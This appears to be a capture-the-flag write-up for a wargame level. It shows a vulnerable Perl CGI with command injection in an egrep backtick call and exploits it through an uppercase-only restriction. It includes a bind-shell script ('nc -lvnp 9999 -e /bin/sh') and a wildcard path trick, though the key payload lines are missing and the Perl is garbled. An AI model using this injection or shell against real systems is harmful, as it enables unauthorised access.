In [Level 16]() we are given the following perl CGI:

#!/usr/bin/env perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub login {
  $username = $_[0];
  $password = $_[1];

  $username =~ tr/a-z/A-Z/;  # conver to uppercase
  $username =~ s/\s.*//;    # strip everything after a space

  @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
  foreach $line (@output) {
    ($usr, $pw) = split(/:/, $line);

    if($pw =~ $password) {
      return 1;

  return 0;

sub htmlz {
  print("<html><head><title>Login resuls</title></head><body>");
  if($_[0] == 1) {
    print("Your login was accepted<br/>");
  } else {
    print("Your login failed<br/>");
  print("Would you like a cookie?<br/><br/></body></html>\n");

htmlz(login(param("username"), param("password")));

Its easy to see the command injection in the egrep command:

@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;

Now, the hard part is that we are limited to uppercase. We will create our regular payload, something like:

[email protected]:/tmp$ cat /tmp/RSHELL
nc -lvnp 9999 -e /bin/sh
[email protected]:/tmp$ chmod +x RSHELL

All we need to do now is find a way to put our payload in the server path and as that looks impossible, we will use a bash trick that allows us to use wildcards. So to execute /tmp/RSHELL we can use:


Now, go to your browser, and use the following username:


Back to our terminal, we will connect to the nc listener:

[email protected]:/home/flag16$ nc 9999
uid=983(flag16) gid=983(flag16) groups=983(flag16)
You have successfully executed getflag on a target account